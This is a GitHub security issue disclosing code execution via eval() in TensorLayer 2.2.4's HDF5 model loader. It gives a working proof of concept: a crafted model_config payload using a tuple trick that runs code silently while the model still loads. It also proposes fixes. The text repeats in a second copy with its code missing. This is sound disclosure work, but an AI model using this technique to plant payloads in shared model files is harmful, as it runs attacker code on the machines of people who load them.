- [x] I have read the [Contribution Guidelines](https://github.com/tensorlayer/tensorlayer/blob/master/CONTRIBUTING.md)
- [x] I searched for [existing GitHub issues](https://github.com/tensorlayer/tensorlayer/issues)
Issue Description
Security issue: arbitrary code execution via eval() of the HDF5 "model_config" attribute
tl;dr — tl.files.load_hdf5_graph() (the implementation behind the documented tl.models.Model.load()) evaluates the HDF5 root attribute model_config with Python's eval(). Any Python expression embedded in a .hdf5 model file executes during loading, with the privileges of the loading process. A crafted file both executes the payload and still restores a valid model, so the attack is silent.
Affected versions
- TensorLayer v2.2.4 (latest release; dynamically verified at commit
0681633252667b317a23b803c11a8a060a44bf31)
- Current master is still affected as of 2026-09-24 (
tensorlayer/files/utils.py:322 still contains eval(model_config_str))
Vulnerable code — tensorlayer/files/utils.py, load_hdf5_graph()
model_config_str = f.attrs["model_config"].decode('utf8')
model_config = eval(model_config_str) # <- attacker-controlled file content, no validation
save_hdf5_graph() writes the file as f.attrs["model_config"] = str(model_config), so any party who controls the .hdf5 file (downloaded checkpoints, shared model hubs, attachments) controls the string handed to eval().
Trigger chain
Model.load(filepath, load_weights=False) (tensorlayer/models/core.py:814) → utils.load_hdf5_graph() (tensorlayer/files/utils.py:299) → eval(model_config_str) (tensorlayer/files/utils.py:322)
Secondary sink on the same path (not covered by my test)
If a layer argument is a ('is_Func', <base64 blob>) tuple, generate_func() (tensorlayer/files/utils.py:212) calls str2func() → cloudpickle.loads() during the same load — a second deserialization sink reachable once the config dict is attacker-controlled.
Impact
Anyone who loads an untrusted .hdf5 model — the documented workflow for sharing TensorLayer models — executes attacker code on their machine. This is the same class of risk that pushed other ML frameworks to harden or deprecate unsafe deserialization on load.
Suggested fix
- Replace
eval(model_config_str) with ast.literal_eval() — the legit writer (str(model_config)) only produces literal structures, so parsing is lossless for benign files.
- Gate the
str2func() / cloudpickle.loads() branch behind an explicit opt-in (e.g. a trusted=True flag), mirroring the weights_only=-style hardening in other frameworks, and document that untrusted model files are unsafe to load.
Reproducible Code
- Which OS are you using? Any (verified in a clean offline Docker container; no network access needed at load time).
- Environment:
pip install tensorlayer==2.2.4 with TensorFlow 2.x and h5py<3 (h5py 2.10.0 used). h5py>=3 does not work: TL 2.2.4's loader calls .decode('utf8') on the attribute and raises AttributeError even for files produced by its own writer.
Step 1 — capture a legitimate config (exactly what save_hdf5_graph writes):
import h5py
import tensorflow as tf
import tensorlayer as tl
ni = tl.layers.Input(shape=(None, 784))
nn = tl.layers.Dense(n_units=64, act=tf.nn.relu)(ni)
net = tl.models.Model(inputs=ni, outputs=nn, name='mlp')
tl.files.save_hdf5_graph(net, filepath='clean.hdf5', save_weights=False)
with h5py.File('clean.hdf5', 'r') as f:
real_cfg = f.attrs['model_config'].decode('utf8')
Step 2 — craft a malicious file whose model_config is (canary, real_cfg)[1]:
canary = "__import__('builtins').open('CANARY_PROOF.txt','w').write('eval executed')"
payload = "(" + canary + ", " + real_cfg + ")[1]" # tuple trick: side effect + valid return value
with h5py.File('malicious.hdf5', 'w') as f:
f.attrs['model_config'] = payload.encode('utf8')
Step 3 — load it through the documented API:
net = tl.models.Model.load('malicious.hdf5', load_weights=False)
Actual result: CANARY_PROOF.txt appears next to the script (the eval ran), the model still restores normally, and the process exits 0 — no error, no warning. A benign control file whose model_config contains only real_cfg loads clean with no side effects.
link:
https://github.com/3em0/cve_repo/blob/main/2026/TensorLayer2.2.4-Deserialization-of-Untrusted-Data(eval)-in-HDF5-Model-Loading.md
Issue Description
Security issue: arbitrary code execution via eval() of the HDF5 "model_config" attribute
tl;dr —
tl.files.load_hdf5_graph()(the implementation behind the documentedtl.models.Model.load()) evaluates the HDF5 root attributemodel_configwith Python'seval(). Any Python expression embedded in a.hdf5model file executes during loading, with the privileges of the loading process. A crafted file both executes the payload and still restores a valid model, so the attack is silent.Affected versions
0681633252667b317a23b803c11a8a060a44bf31)tensorlayer/files/utils.py:322still containseval(model_config_str))Vulnerable code — tensorlayer/files/utils.py, load_hdf5_graph()
save_hdf5_graph()writes the file asf.attrs["model_config"] = str(model_config), so any party who controls the.hdf5file (downloaded checkpoints, shared model hubs, attachments) controls the string handed toeval().Trigger chain
Model.load(filepath, load_weights=False)(tensorlayer/models/core.py:814) →utils.load_hdf5_graph()(tensorlayer/files/utils.py:299) →eval(model_config_str)(tensorlayer/files/utils.py:322)Secondary sink on the same path (not covered by my test)
If a layer argument is a
('is_Func', <base64 blob>)tuple,generate_func()(tensorlayer/files/utils.py:212) callsstr2func()→cloudpickle.loads()during the same load — a second deserialization sink reachable once the config dict is attacker-controlled.Impact
Anyone who loads an untrusted
.hdf5model — the documented workflow for sharing TensorLayer models — executes attacker code on their machine. This is the same class of risk that pushed other ML frameworks to harden or deprecate unsafe deserialization on load.Suggested fix
eval(model_config_str)withast.literal_eval()— the legit writer (str(model_config)) only produces literal structures, so parsing is lossless for benign files.str2func()/cloudpickle.loads()branch behind an explicit opt-in (e.g. atrusted=Trueflag), mirroring theweights_only=-style hardening in other frameworks, and document that untrusted model files are unsafe to load.Reproducible Code
pip install tensorlayer==2.2.4with TensorFlow 2.x and h5py<3 (h5py 2.10.0 used). h5py>=3 does not work: TL 2.2.4's loader calls.decode('utf8')on the attribute and raises AttributeError even for files produced by its own writer.Step 1 — capture a legitimate config (exactly what
save_hdf5_graphwrites):Step 2 — craft a malicious file whose model_config is
(canary, real_cfg)[1]:Step 3 — load it through the documented API:
Actual result:
CANARY_PROOF.txtappears next to the script (theevalran), the model still restores normally, and the process exits 0 — no error, no warning. A benign control file whosemodel_configcontains onlyreal_cfgloads clean with no side effects.link:
https://github.com/3em0/cve_repo/blob/main/2026/TensorLayer2.2.4-Deserialization-of-Untrusted-Data(eval)-in-HDF5-Model-Loading.md